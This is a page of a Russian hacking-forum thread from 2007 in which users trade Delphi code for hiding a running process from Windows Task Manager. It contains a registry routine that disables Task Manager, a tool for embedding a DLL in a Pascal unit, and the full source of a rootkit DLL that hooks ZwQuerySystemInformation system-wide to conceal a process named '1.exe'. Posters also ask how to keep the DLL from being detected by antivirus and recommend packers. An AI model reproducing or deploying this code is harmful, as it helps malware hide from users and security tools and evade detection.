ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Закрытая тема
 
Опции темы Поиск в этой теме Опции просмотра

  #21  
Старый 29.05.2007, 07:13
Аватар для Joker-jar
Joker-jar
Постоянный
Регистрация: 11.03.2007
Сообщений: 581
Провел на форуме:
4172659

Репутация: 646


Отправить сообщение для Joker-jar с помощью ICQ
По умолчанию

Юнит будет весить больше самой dll, но при компиляции все будет ОК. Не забывай юзать упаковщики.
 

  #22  
Старый 29.05.2007, 14:51
Аватар для NetMan
NetMan
Участник форума
Регистрация: 09.02.2004
Сообщений: 122
Провел на форуме:
1089794

Репутация: 134
По умолчанию

btw: не подскажете как сделать, чтобы hide.dll не палилась антивирями?
 

  #23  
Старый 30.05.2007, 01:02
Аватар для asm33
asm33
Познающий
Регистрация: 19.01.2006
Сообщений: 58
Провел на форуме:
108297

Репутация: 6
По умолчанию

может легче отключить сам диспетчер?

http://www.delphitricks.com/source-code/windows/disable_ctrlaltdelete_under_xp.html

Код:
procedure DisableTaskMgr(bTF: Boolean); 
var 
  reg: TRegistry; 
begin 
  reg := TRegistry.Create; 
  reg.RootKey := HKEY_CURRENT_USER; 
  reg.OpenKey('Software', True); 
  reg.OpenKey('Microsoft', True); 
  reg.OpenKey('Windows', True); 
  reg.OpenKey('CurrentVersion', True); 
  reg.OpenKey('Policies', True); 
  reg.OpenKey('System', True); 
  if bTF = True then 
  begin 
    reg.WriteString('DisableTaskMgr', '1'); 
  end 
  else if bTF = False then 
  begin 
    reg.DeleteValue('DisableTaskMgr'); 
  end; 
  reg.CloseKey; 
end; 

procedure TForm1.Button1Click(Sender: TObject); 
begin 
  DisableTaskMgr(True); 
end;
 

  #24  
Старый 30.05.2007, 08:24
Аватар для x-treem
x-treem
Участник форума
Регистрация: 08.11.2006
Сообщений: 167
Провел на форуме:
539434

Репутация: 54
Отправить сообщение для x-treem с помощью ICQ
По умолчанию

asm33 - представь, не легче=\
кстати, такое предложеник уже было в топике.

и ещё...
у мну не компилится FileToPas. может кто нить скомпилит? очень прошу
 

  #25  
Старый 30.05.2007, 09:38
Аватар для Joker-jar
Joker-jar
Постоянный
Регистрация: 11.03.2007
Сообщений: 581
Провел на форуме:
4172659

Репутация: 646


Отправить сообщение для Joker-jar с помощью ICQ
По умолчанию

Код:
procedure FileToPas(FileName: string);
var
  BF: file of Byte;
  F: TextFile;
  N, S: string;
  BFSize: integer;
  BBB: Byte;
begin
  AssignFile(BF, FileName);
  Reset(BF);
  BFSize := FileSize(BF);
  N := ChangeFileExt(FileName, '.PAS');
  AssignFile(F, N);
  ReWrite(F);
  Writeln(F, 'unit ' + ExtractFileName(ChangeFileExt(N, '')) + ';');
  Writeln(F);
  Writeln(F, 'interface');
  Writeln(F);
  Writeln(F, 'const FileSize:integer=' + IntToStr(BFSize) + ';');
  Writeln(F, 'FileData:array[0..' + IntToStr(BFSize - 1) + '] of Byte=');
  Writeln(F, '(');
    while not Eof(BF) do
      begin
        S := '';
          while (not Eof(BF)) and (Length(S) < 80) do
            begin
              Read(BF, BBB);
              S := S + IntToStr(BBB) + ',';
            end;
        if Eof(BF) then
          Delete(S, Length(S), 1);
        Writeln(F, S);
      end;
  CloseFile(BF);
  Writeln(F, ');');
  Writeln(F);
  Writeln(F, 'procedure SaveToFile(FileName:String);');
  Writeln(F);
  Writeln(F, 'implementation');
  Writeln(F);
  Writeln(F, 'procedure SaveToFile(FileName:String);');
  Writeln(F, 'var F: File;');
  Writeln(F, 'begin');
  Writeln(F, 'AssignFile(F,FileName);');
  Writeln(F, 'ReWrite(F,1);');
  Writeln(F, 'BlockWrite(F, FileData, FileSize);');
  Writeln(F, 'CloseFile(F);');
  Writeln(F, 'end;');
  Writeln(F);
  Writeln(F, 'end.');
  CloseFile(F);
end;
 

  #26  
Старый 30.05.2007, 09:42
Аватар для Joker-jar
Joker-jar
Постоянный
Регистрация: 11.03.2007
Сообщений: 581
Провел на форуме:
4172659

Репутация: 646


Отправить сообщение для Joker-jar с помощью ICQ
По умолчанию

Используй для относительно небольших файлов (< 2 Mb), так как функция сохраняет в файл в один присест. Сохраняет шустренько.
 

  #27  
Старый 01.06.2007, 03:08
Аватар для DarckSol
DarckSol
Новичок
Регистрация: 24.04.2007
Сообщений: 4
Провел на форуме:
31745

Репутация: -4
По умолчанию

Нашел давно библиотеку Hide.dpr оно вот такого содержания:
Код:
library Hide;

uses
  Windows,
  NativeAPI;

type
 OldCode = packed record
  One: dword;
  two: word;
 end;


far_jmp = packed record
  PuhsOp: byte;
  PushArg: pointer;
  RetOp: byte;
 end;

var
 JmpZwq: far_jmp;
 OldZwq: OldCode;
 PtrZwq: pointer;

Function TrueZwQuerySystemInformation(ASystemInformationClass: dword;
                                  ASystemInformation: Pointer;
                                  ASystemInformationLength: dword;
                                  AReturnLength: PCardinal): NTStatus; stdcall;
var
 Written: dword;
begin
  WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
                     @OldZwq, SizeOf(OldCode), Written);

  Result := ZwQuerySystemInformation(ASystemInformationClass,
                                     ASystemInformation,
                                     ASystemInformationLength,
                                     AReturnLength);

  WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
                     @JmpZwq, SizeOf(far_jmp), Written);
end;



Function NewZwQuerySystemInformation(ASystemInformationClass: dword;
                                  ASystemInformation: Pointer;
                                  ASystemInformationLength: dword;
                                  AReturnLength: PCardinal): NTStatus; stdcall;
var
 Info, Prev: PSYSTEM_PROCESSES;
begin
 Result := TrueZwQuerySystemInformation(ASystemInformationClass,
                                        ASystemInformation,
                                        ASystemInformationLength,
                                        AReturnLength);

 if (ASystemInformationClass = SystemProcessesAndThreadsInformation) and
    (Result = STATUS_SUCCESS) then
    begin
      Info := ASystemInformation;
      while(Info^.NextEntryDelta > 0) do
       begin
         Prev := Info;
         Info := pointer(dword(Info) + Info^.NextEntryDelta);
         if lstrcmpiw(Info^.ProcessName.Buffer, '1.exe') = 0 then
           Prev^.NextEntryDelta := Prev^.NextEntryDelta + Info^.NextEntryDelta;
       end;
    end;
end;

Procedure SetHook();
var
 Bytes: dword;
begin
  PtrZwq  := GetProcAddress(GetModuleHandle('ntdll.dll'),
                            'ZwQuerySystemInformation');
  ReadProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);
  JmpZwq.PuhsOp  := $68;
  JmpZwq.PushArg := @NewZwQuerySystemInformation;
  JmpZwq.RetOp   := $C3;
  WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @JmpZwq, SizeOf(far_jmp), Bytes);
end;

Procedure Unhook();
var
 Bytes: dword;
begin
  WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);
end;
Function MessageProc(code : integer; wParam : word;
                    lParam : longint) : longint; stdcall;
begin
 CallNextHookEx(0, Code, wParam, lparam);
 Result := 0;
end;

Procedure SetGlobalHookProc();
begin
 SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
 Sleep(INFINITE);
end;
//

Procedure SetGlobalHook();
var
 hMutex: dword;
 TrId: dword;
begin
 hMutex := CreateMutex(nil, false, 'ProcHideHook');
 if GetLastError = 0 then
 CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, TrId) else
 CloseHandle(hMutex);
end;

procedure DLLEntryPoint(dwReason: DWord);
begin
  case dwReason of
    DLL_PROCESS_ATTACH: begin
                          SetGlobalHook();
                          SetHook();
                        end;
    DLL_PROCESS_DETACH: begin
                          Unhook();
                        end;
  end;
end;


begin
 DllProc := @DLLEntryPoint;
 DLLEntryPoint(DLL_PROCESS_ATTACH);
end.

А вторая библиотека невлезает, уж больно там кода много, поэтому берём тут http://rapidshare.com/files/34527096/NativeAPI.pas


Смотрим, тестим.
 

  #28  
Старый 01.06.2007, 03:45
Аватар для Joker-jar
Joker-jar
Постоянный
Регистрация: 11.03.2007
Сообщений: 581
Провел на форуме:
4172659

Репутация: 646


Отправить сообщение для Joker-jar с помощью ICQ
По умолчанию

Ну так это его величество Ms-Rem, по коду узнаю. Скрывает номально, но от tasklist'a не поможет. Хотя, в большинстве случаев, можно ограничиться и таскменеджером
 

  #29  
Старый 01.06.2007, 09:44
Аватар для _Great_
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
По умолчанию

DarckSol, ну дык я об этом и говорил.
"Скрывает номально, но от tasklist'a не поможет", с какой радости то?
Хукаешь zwQuerySystemInformation и все

Короче инфы на эту тему в инете ПОЛНО, а выкладывают тут фиговые сорсы какието, которые к делу не относятся, за исключением последнего.

Прочитай мою тему про сплайсинг - там был пример с наебкой диспетчера задач, правда уже запущенного.

Повторюсь, что лучший вариант - драйвер ядра.

Все, тема закрыта, щас каждый шибко умный захочет тут отписаться мол он тоже крутой. Достали

Последний раз редактировалось _Great_; 01.06.2007 в 09:46..
 
Закрытая тема



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Как стать хакером! foreva Болталка 19 12.12.2007 00:12
100 приколов о блондинках ^_^ Spanki Болталка 9 07.04.2007 11:39
Как возможно скрыть одну программу от другой? PEPSICOLA Болталка 0 30.01.2005 04:24



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ